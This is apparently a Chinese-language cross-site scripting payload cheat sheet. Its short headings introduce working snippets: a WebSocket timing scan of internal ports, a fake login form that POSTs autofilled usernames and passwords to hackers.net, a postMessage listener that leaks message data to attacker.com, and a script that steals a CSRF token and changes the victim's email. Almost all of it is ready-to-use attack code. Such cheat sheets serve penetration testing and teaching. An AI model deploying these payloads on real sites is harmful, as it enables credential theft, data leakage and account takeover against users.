var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now(); // 记录连接开始的时间
s.port = ports[i]; // 存储端口号
// 错误处理器,记录错误并打印出端口号和连接时间
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() - this.start) + " ms");
};
// 连接成功处理器,记录成功的端口号并打印出连接时间
s.onopen = function() {
console.log("Port " + this.port + ": " + (performance.now() - this.start) + " ms");
};
}
自动填充密码捕获
当在密码字段中输入任何数据时,用户名和密码将被发送到攻击者的服务器,即使客户端选择了保存的密码并且没有输入任何内容,凭据也将被外泄
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://hackers.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
窃取 PostMessage 消息
<img src="https://attacker.com/?" id="message">
<script>
// 监听message事件,当接收到消息时执行下面的函数
window.onmessage = function(e){
// 将接收到的消息数据附加到图像元素的src属性后面
document.getElementById("message").src += "&"+e.data;
}
</script>
窃取 CSRF 令牌
例子:利用窃取 CSRF 令牌进行修改用户邮箱地址:
<script>
// 创建XMLHttpRequest对象,向服务器发送GET请求
var req = new XMLHttpRequest();
// 设置请求完成时的处理函数
req.onload = handleResponse;
// 打开一个GET请求,请求目标URL为'/email'
req.open('get','/email',true);
// 发送GET请求
req.send();
// 定义请求完成时的处理函数
function handleResponse() {
// 从响应文本中提取CSRF令牌的值
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
// 创建另一个XMLHttpRequest对象,用于发送POST请求
var changeReq = new XMLHttpRequest();
// 打开一个POST请求,请求目标URL为'/email/change-email'
changeReq.open('post', '/email/change-email', true);
// 发送POST请求,携带CSRF令牌和测试电子邮件地址
changeReq.send('csrf='+token+'&email=test@test.com');
}
</script>
XSS Fuzz payload
wordlists - xss